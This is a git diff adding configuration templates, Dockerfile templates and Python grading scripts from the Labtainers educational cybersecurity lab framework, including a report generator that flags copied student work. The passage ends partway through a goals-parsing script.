+# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/config/start.config.template b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/config/start.config.template new file mode 100644 index 000000000..8c15440c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/config/start.config.template @@ -0,0 +1,37 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER default + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED this_will_be_replaced + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/dockerfiles/Dockerfile.template.base.student b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/dockerfiles/Dockerfile.template.base.student new file mode 100644 index 000000000..758cc4d82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/dockerfiles/Dockerfile.template.base.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/dockerfiles/Dockerfile.template.centos.student b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/dockerfiles/Dockerfile.template.centos.student new file mode 100644 index 000000000..4d6421428 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/dockerfiles/Dockerfile.template.centos.student @@ -0,0 +1,64 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template for CentOS +# +# +ARG registry +FROM $registry/labtainer.centos +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable mynotify +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/designer/templates/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/README b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/README new file mode 100644 index 000000000..bc81b4386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/README @@ -0,0 +1,11 @@ +Labtainer instructor sessions perform automated +assessment of student results stored in the +~/labtainer_xfer/ directory. + +Sessions commence via the + labtainer +command. And end with the + stoplab command + +See ../../docs/instructor/labtainer-instructor.pdf +for details. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/GenReport.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/GenReport.py new file mode 100755 index 000000000..e1e6bc736 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/GenReport.py @@ -0,0 +1,285 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# GenReport.py +# Description: Create a report based on .grades.json + +import json +import os +import sys +import docgoals +import collections +try: + from collections import OrderedDict +except: + OrderedDict = dict + +fifteenequal = "="*15 +twentyequal = "="*20 +goalprintformat = ' %15s |' +goalprintformat_int = ' %15d |' +emailprintformat = '%-20s |' +cheateremailprintformat = ' %20s ' + +# Check to make sure E-mail is OK and watermark matches +def Check_Email_Watermark_OK(keyvalue): + check_result = True + if keyvalue['firstlevelzip'] != {}: + #print "Value of firstlevelzip is (%s)" % keyvalue['firstlevelzip'] + check_result = False + elif keyvalue['secondlevelzip'] != {}: + #print "Value of secondlevelzip is (%s)" % keyvalue['secondlevelzip'] + check_result = False + else: + if keyvalue['expectedwatermark'] != keyvalue['actualwatermark']: + #print "Watermark mismatch" + #print "expected (%s) vs actual (%s)" % (keyvalue['expectedwatermark'], keyvalue['actualwatermark']) + check_result = False + return check_result + +def ValidateLabGrades(labgrades): + storedlabname = "" + storedgoalsline = "" + storedbarline = "" + for emaillabname, keyvalue in sorted(labgrades.iteritems()): + email, labname = emaillabname.rsplit('.', 1) + #print "emaillabname is (%s) email is (%s) labname is (%s)" % (emaillabname, email, labname) + if storedlabname == "": + storedlabname = labname + else: + # Check to make sure labname is the same throughout + if storedlabname != labname: + sys.stderr.write("ERROR: inconsistent labname (%s) vs (%s)\n" % (storedlabname, labname)) + sys.exit(1) + + currentgoalsline = '' + currentbarline = '' + + # Skip the one with failed_checks on Check_Email_Watermark_OK() + if not Check_Email_Watermark_OK(keyvalue): + continue + + #print "keyvalue is (%s)" % keyvalue + for key, value in keyvalue.iteritems(): + #print "key is (%s)" % key + if key == 'grades': + # Do 'grades' portion - skip 'parameter' portion for now + #print "value is (%s)" % value + for goalid, goalresult in value.iteritems(): + if goalid.startswith('_'): + continue + #print "goalid is (%s)" % goalid + #print "goalresult is (%s)" % goalresult + currentgoalsline = currentgoalsline + goalprintformat % goalid[:15] + currentbarline = currentbarline + goalprintformat % fifteenequal + + if storedbarline == "": + storedbarline = currentbarline + if storedgoalsline == "": + storedgoalsline = currentgoalsline + else: + # Check to make sure each student has the same 'goals' + if storedgoalsline != currentgoalsline: + sys.stderr.write("ERROR: inconsistent goals (%s) vs (%s)\n" % (storedgoalsline, currentgoalsline)) + sys.exit(1) + + return storedlabname, storedgoalsline, storedbarline + +def ReportCheater(gradestxtoutput, watermark_source, email, keyvalue, found_cheater): + cheaterheaderline = emailprintformat % 'Student' + " Source" + barline = emailprintformat % twentyequal + twentyequal + # Note: found_cheater is also used to print the 'Cheater' Header only once + if not found_cheater: + gradestxtoutput.write("\n\n" + cheaterheaderline + "\n" + barline + "\n") + curline = emailprintformat % email[:20] + + if keyvalue['firstlevelzip'] != {}: + cheater_source = keyvalue['firstlevelzip'] + source_email, labname = cheater_source.rsplit('.', 1) + sourceline = cheateremailprintformat % source_email[:20] + curline = curline + sourceline + gradestxtoutput.write(curline + "\n") + elif keyvalue['secondlevelzip'] != {}: + cheater_source = keyvalue['secondlevelzip'] + source_email = cheater_source + sourceline = cheateremailprintformat % source_email[:20] + curline = curline + sourceline + gradestxtoutput.write(curline + "\n") + #print keyvalue['expectedwatermark'] + #print keyvalue['actualwatermark'] + elif keyvalue['expectedwatermark'] != keyvalue['actualwatermark']: + found_source_email = "Unknown" + for source_email, source_watermark in watermark_source.iteritems(): + #print source_email + #print source_watermark + if keyvalue['actualwatermark'] == source_watermark: + found_source_email = source_email + break + sourceline = cheateremailprintformat % found_source_email[:20] + curline = curline + sourceline + gradestxtoutput.write(curline + "\n") + else: + gradestxtoutput.write("\n") + +def PrintHeaderGrades(gradestxtfile, labgrades, labname, goalsline, barline, check_watermark): + + gradestxtoutput = open(gradestxtfile, "w") + headerline = emailprintformat % 'Student' + goalsline + barline = emailprintformat % twentyequal + barline + gradestxtoutput.write("Labname %s" % labname) + gradestxtoutput.write("\n\n" + headerline + "\n" + barline + "\n") + + for emaillabname, keyvalue in sorted(labgrades.iteritems()): + email, labname = emaillabname.rsplit('.', 1) + #print "emaillabname is (%s) email is (%s) labname is (%s)" % (emaillabname, email, labname) + # Get the first 20 characters of the student's e-mail only + curline = emailprintformat % email[:20] + + #print "keyvalue is (%s)" % keyvalue + for key, value in keyvalue.iteritems(): + #print "key is (%s)" % key + if key == 'grades': + # Do 'grades' portion - skip 'parameter' portion for now + #print "value is (%s)" % value + for goalid, goalresult in value.iteritems(): + if goalid.startswith('_'): + continue + #print "goalid is (%s)" % goalid + #print "goalresult is (%s)" % goalresult + if type(goalresult) is bool: + if goalresult: + curline = curline + goalprintformat % 'Y' + else: + curline = curline + goalprintformat % '' + elif type(goalresult) is int: + curline = curline + goalprintformat_int % goalresult + else: + curline = curline + goalprintformat % '' + gradestxtoutput.write(curline + "\n") + summary = docgoals.getGoalInfo('.local/instr_config') + gradestxtoutput.write(summary) + + if check_watermark: + # Create 'Source' watermark + watermark_source = {} + for emaillabname, keyvalue in labgrades.iteritems(): + email, labname = emaillabname.rsplit('.', 1) + # Do not use 'cheater' as source + if keyvalue['firstlevelzip'] == {} and keyvalue['secondlevelzip'] == {}: + if keyvalue['expectedwatermark'] != {}: + if email not in watermark_source: + watermark_source[email] = {} + watermark_source[email] = keyvalue['expectedwatermark'] + + #print watermark_source + + # Report 'cheaters' + found_cheater = False + for emaillabname, keyvalue in labgrades.iteritems(): + email, labname = emaillabname.rsplit('.', 1) + + # Report the one with failed_checks on Check_Email_Watermark_OK() + if not Check_Email_Watermark_OK(keyvalue): + # There is at least one 'cheater' -- report them + ReportCheater(gradestxtoutput, watermark_source, email, keyvalue, found_cheater) + # Note: found_cheater is also used to print the 'Cheater' Header only once + found_cheater = True + + gradestxtoutput.close() + +# Usage: CreateReport +# Arguments: +# - This is the input file .grades.json +# - This is the output file .grades.txt +# - Whether to do watermark checks or not +def CreateReport(gradesjsonfile, gradestxtfile, check_watermark): + if not os.path.exists(gradesjsonfile): + sys.stderr.write("ERROR: missing grades.json file (%s)\n" % gradesjsonfile) + sys.exit(1) + labgradesjson = open(gradesjsonfile, "r") + labgrades = json.load(labgradesjson, object_pairs_hook=OrderedDict) + labgradesjson.close() + + #print "Lab Grades JSON is" + #print labgrades + + labname, goalsline, barline = ValidateLabGrades(labgrades) + + PrintHeaderGrades(gradestxtfile, labgrades, labname, goalsline, barline, check_watermark) + +# Usage: UniqueReport +# Arguments: +# - This is the input file .unique.json +# - This is the output file .grades.txt +def UniqueReport(uniquejsonfile, gradestxtfile): + if not os.path.exists(uniquejsonfile): + sys.stderr.write("ERROR: missing unique.json file (%s)\n" % uniquejsonfile) + sys.exit(1) + labuniquejson = open(uniquejsonfile, "r") + labunique = json.load(labuniquejson) + labuniquejson.close() + + #print "Lab Unique JSON is" + #print labunique + + gradestxtoutput = open(gradestxtfile, "a") + unique_header_printed = False + for emaillabname, keyvalue in labunique.iteritems(): + #print "emaillabname is (%s)" % emaillabname + for filename, checksum in keyvalue['unique'].iteritems(): + #print "filename is (%s)" % filename + #print "checksum is (%s)" % checksum + filename_not_printed = True + print_string = "" + # Skip no checksum + if checksum == "NONE": + continue + for emaillabname2, keyvalue2 in labunique.iteritems(): + #print "emaillabname2 is (%s)" % emaillabname2 + if emaillabname == emaillabname2: + continue + for filename2, checksum2 in keyvalue2['unique'].iteritems(): + if filename == filename2 and checksum == checksum2: + email, labname = emaillabname.rsplit('.', 1) + email2, labname2 = emaillabname2.rsplit('.', 1) + if filename_not_printed: + print_string = "File %s: %s == %s" % (filename, email, email2) + filename_not_printed = False + else: + print_string = "%s == %s" % (print_string, email2) + # Mark the corresponding checksum as NONE so that no repeat + keyvalue2['unique'][filename2] = "NONE" + if print_string != "": + if unique_header_printed == False: + gradestxtoutput.write("\n\nFound non-unique files:\n") + unique_header_printed == True + gradestxtoutput.write("%s\n" % print_string) + + gradestxtoutput.close() + +# Usage: GenReport.py +# Arguments: +# - This is the input file .grades.json +# - This is the output file .grades.txt +def main(): + #print "Running GenReport.py" + if len(sys.argv) != 3: + sys.stderr.write("Usage: GenReport.py \n") + return 1 + + gradesjsonfile = sys.argv[1] + gradestxtfile = sys.argv[2] + check_watermark = True + CreateReport(gradesjsonfile, gradestxtfile, check_watermark) + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/GoalsParser.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/GoalsParser.py new file mode 100755 index 000000000..03b3bd7ea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/GoalsParser.py @@ -0,0 +1,327 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +''' + GoalsParser.py + Description: * Read goals.config and create the goals.json file + * with values specific to this student (parameterized). +''' +import json +import glob +import md5 +import os +import random +import sys +import MyUtil +import ParameterParser + +MYHOME = "" +answer_tokens=['result', 'parameter', 'parameter_ascii'] +logger = None + +class MyGoal(object): + """ Goal - goalid, goaltype, goaloperator, answertag, resulttag, boolean_string, goal1tag, goal2tag """ + goalid = "" + goaltype = "" + goaloperator = "" + answertag = "" + resulttag = "" + boolean_string = "" + goal1tag = "" + goal2tag = "" + + def goal_dict(object): + return object.__dict__ + + def __init__(self, goalid, goaltype, goaloperator="", answertag="", + resulttag="", boolean_string="", goal1tag="", goal2tag=""): + self.goalid = goalid + self.goaltype = goaltype + self.goaloperator = goaloperator + self.answertag = answertag + self.resulttag = resulttag + self.boolean_string = boolean_string + self.goal1tag = goal1tag + self.goal2tag = goal2tag + +def getRandom(bounds, type, logger): + # Converts lowerbound and upperbound as integer - and pass to + # random.randint(a,b) + # Starts with assuming will use integer (instead of hexadecimal) + use_integer = True + lowerboundstr = bounds[0].strip() + if lowerboundstr.startswith('0x'): + use_integer = False + lowerbound_int = int(lowerboundstr, 16) + else: + lowerbound_int = int(lowerboundstr, 10) + upperboundstr = bounds[1].strip() + if upperboundstr.startswith('0x'): + if use_integer == True: + # Inconsistent format of lowerbound (integer format) + # vs upperbound (hexadecimal format) + logger.ERROR("inconsistent lowerbound (%s) & upperbound (%s) format\n" + % (lowerboundstr, upperboundstr)) + sys.exit(1) + use_integer = False + upperbound_int = int(upperboundstr, 16) + else: + upperbound_int = int(upperboundstr, 10) + #print "lowerbound is (%d)" % lowerbound_int + #print "upperbound is (%d)" % upperbound_int + if lowerbound_int > upperbound_int: + logger.ERROR("lowerbound greater than upperbound\n") + sys.exit(1) + if type == "asciirandom": + # Make sure lowerbound/upperbound in ASCII printable characters range + # (i.e., starts with 33-126 - excludes 33 (space) and 127 (del) + ASCIIlowrange = 33 + ASCIIhighrange = 126 + if (lowerbound_int < ASCIIlowrange or upperbound_int > ASCIIhighrange): + logger.ERROR("ASCII lowerbound (%s) & upperbound (%s) outside printable\n" + % (lowerboundstr, upperboundstr)) + sys.exit(1) + random_int = random.randint(lowerbound_int, upperbound_int) + if type == "asciirandom": + random_str = '%s' % chr(random_int) + elif type == "hexrandom": + random_str = '%s' % hex(random_int) + else: + # type == "intrandom": + random_str = '%s' % int(random_int) + return random_str + +def getTagValue(parameter_list, target, finaltag, logger): + if target == "answer": + returnTagValue = 'answer=%s' % finaltag + else: + if target.startswith('parameter'): + if finaltag not in parameter_list: + logger.ERROR('Could not find parameter %s' % finaltag) + sys.exit(1) + value = parameter_list[finaltag] + if target.lower() == "parameter_ascii": + if '0x' in value: + num = int(value, 16) + else: + num = int(value) + if num not in range(41, 177): + logger.ERROR('parameter_ascii value %s not in ascii range' % value) + sys.exit(1) + value = chr(num) + returnTagValue = 'answer=%s' % value + else: + returnTagValue = '%s.%s' % (target, finaltag) + return returnTagValue + + +def ValidateTag(parameter_list, studentdir, goal_type, inputtag, allowed_special_answer, logger): + # if allowed_special_answer is true, then allow 'answer=' + # UNLESS if the goal_type is matchacross + returntag = "" + if '=' in inputtag: + if not allowed_special_answer: + logger.ERROR("goals.config only answertag is allowed answer=, resulttag (%s) is not" % inputtag) + sys.exit(1) + if goal_type == "matchacross": + logger.ERROR("goals.config answer= and goal_type==matchacross is not allowed") + sys.exit(1) + (target, finaltag) = inputtag.split('=') + returntag = getTagValue(parameter_list, target, finaltag, logger) + + elif inputtag.startswith('(') and inputtag.endswith(')'): + returntag = 'result.%s' % inputtag + elif '.' in inputtag: + logger.DEBUG("tag %s contains '.'" % inputtag) + (target, finaltag) = inputtag.split('.') + if not target in answer_tokens: + logger.ERROR("goals.config tag= then tag must be:(%s), got %s" % (','.join(answer_tokens), inputtag)) + sys.exit(1) + if not MyUtil.CheckAlphaDashUnder(finaltag): + logger.ERROR("Invalid characters in goals.config's tag (%s)" % inputtag) + sys.exit(1) + + returntag = getTagValue(parameter_list, target, finaltag, logger) + else: + logger.DEBUG("tag is %s" % inputtag) + if not MyUtil.CheckAlphaDashUnder(inputtag): + logger.ERROR("Invalid characters in goals.config's tag (%s)" % inputtag) + sys.exit(1) + returntag = 'result.%s' % inputtag + + return returntag + +def GetLabInstanceSeed(studentdir, logger): + seed_dir = os.path.join(studentdir, ".local",".seed") + student_lab_instance_seed = None + with open(seed_dir) as fh: + student_lab_instance_seed = fh.read().strip() + if student_lab_instance_seed is None: + logger.ERROR('could not get lab instance seed from %s' % seed_dir) + sys.exit(1) + return student_lab_instance_seed + +def ParseGoals(homedir, studentdir, logger_in): + MYHOME = homedir + logger = logger_in + nametags = [] + configfilename = os.path.join(MYHOME,'.local','instr_config', 'goals.config') + configfile = open(configfilename) + configfilelines = configfile.readlines() + configfile.close() + lab_instance_seed = GetLabInstanceSeed(studentdir, logger) + container_user = "" + param_filename = os.path.join(MYHOME, '.local', 'config', + 'parameter.config') + + pp = ParameterParser.ParameterParser(None, container_user, lab_instance_seed, logger) + + parameter_list = pp.ParseParameterConfig(param_filename) + + for line in configfilelines: + linestrip = line.rstrip() + if linestrip: + if not linestrip.startswith('#'): + logger.DEBUG("Current linestrip is (%s)" % linestrip) + try: + (each_key, each_value) = linestrip.split('=', 1) + except: + logger.ERROR('goal lacks "=" character, %s' % linestrip) + sys.exit(1) + each_key = each_key.strip() + if not MyUtil.CheckAlphaDashUnder(each_key): + logger.ERROR("Invalid characters in goals.config's key (%s)" % each_key) + sys.exit(1) + if len(each_key) > 15: + logger.DEBUG("goal (%s) is more than 15 characters long\n" % each_key) + + values = [] + # expecting - either: + # : : : + # : : + # : + values = each_value.split(" : ") + numvalues = len(values) + logger.DEBUG('numvalues is %d values are: %s' % (numvalues, str(values))) + if not (numvalues == 4 or numvalues == 3 or numvalues == 2): + logger.ERROR("goals.config contains unexpected value (%s) format" % each_value) + sys.exit(1) + if numvalues == 4: + ''' : : : ''' + goal_type = values[0].strip() + goal_operator = values[1].strip() + resulttag = values[2].strip() + answertag = values[3].strip() + # Allowed 'answer=' for answertag only + valid_answertag = ValidateTag(parameter_list, studentdir, goal_type, answertag, True, logger) + valid_resulttag = ValidateTag(parameter_list, studentdir, goal_type, resulttag, False, logger) + if not (goal_type == "matchany" or + goal_type == "matchlast" or + goal_type == "matchacross" or + goal_type == "count" or + goal_type == "value" or + goal_type == "execute"): + logger.ERROR("Error found in line (%s)" % linestrip) + logger.ERROR("goals.config contains unrecognized type (1) (%s)" % goal_type) + sys.exit(1) + if not (goal_type == "execute"): + # If goal_type is not 'execute' then check the goal_operator + if not (goal_operator == "string_equal" or + goal_operator == "string_diff" or + goal_operator == "string_start" or + goal_operator == "string_end" or + goal_operator == "string_contains" or + goal_operator == "integer_equal" or + goal_operator == "integer_greater" or + goal_operator == "integer_lessthan"): + logger.ERROR("Error found in line (%s)" % linestrip) + logger.ERROR("goals.config contains unrecognized operator (%s)" % (goal_operator)) + sys.exit(1) + else: + # Make sure the file to be executed exist + execfile = os.path.join(MYHOME, '.local', 'bin', goal_operator) + if not (os.path.exists(execfile) and os.path.isfile(execfile)): + logger.ERROR("Error found in line (%s)" % linestrip) + logger.ERROR("goals.config contains execute goals with missing exec file (%s)" % (goal_operator)) + sys.exit(1) + nametags.append(MyGoal(each_key, goal_type, goaloperator=goal_operator, answertag=valid_answertag, resulttag=valid_resulttag)) + #print "goal_type non-boolean" + #print nametags[each_key].goal_dict() + elif numvalues == 3: + ''' : : ''' + goal_type = values[0].strip() + if goal_type == 'time_before' or goal_type == 'time_during' or goal_type == 'time_not_during': + goal1tag = values[1].strip() + goal2tag = values[2].strip() + nametags.append(MyGoal(each_key, goal_type, goal1tag=goal1tag, goal2tag=goal2tag)) + elif goal_type == 'count_greater': + answertag = values[1].strip() + subgoal_list = values[2].strip() + nametags.append(MyGoal(each_key, goal_type, answertag=answertag, boolean_string=subgoal_list)) + else: + logger.ERROR('Could not parse goals.config line %s' % each_value) + sys.exit(1) + #print "goal_type non-boolean" + #print nametags[each_key].goal_dict() + else: + ''' : ''' + goal_type = values[0].strip() + if goal_type == 'boolean': + boolean_string = values[1].strip() + nametags.append(MyGoal(each_key, goal_type, boolean_string=boolean_string)) + elif goal_type == 'is_true' or goal_type == 'is_false': + resulttag = values[1].strip() + #print('parsegoals type is %s result %s' % (goal_type, resulttag)) + nametags.append(MyGoal(each_key, goal_type, resulttag=resulttag)) + elif goal_type == 'count' or goal_type == 'value': + resulttag = values[1].strip() + nametags.append(MyGoal(each_key, goal_type, resulttag=resulttag)) + elif goal_type == 'count_greater': + logger.ERROR('missing count_greater value in %s ?' % linestrip) + sys.exit(1) + else: + logger.ERROR('Could not parse goals.config line %s' % linestrip) + sys.exit(1) + + #print "goal_type boolean" + #print nametags[each_key].goal_dict() + + #nametags[each_key].toJSON() + #nametags[each_key].goal_type = goal_type + #nametags[each_key].goal_operator = goal_operator + #nametags[each_key].answertag = valid_answertag + #nametags[each_key].resulttag = valid_resulttag + #nametags[each_key].boolean_string = boolean_string + + #else: + # print "Skipping empty linestrip is (%s)" % linestrip + + + #print nametags["crash"].toJSON() + #for (each_key, each_goal) in nametags.items(): + # print nametags[each_key].toJSON() + student_parent_dir = os.path.dirname(studentdir) + resultsdir = os.path.join(student_parent_dir, '.local','result') + try: + 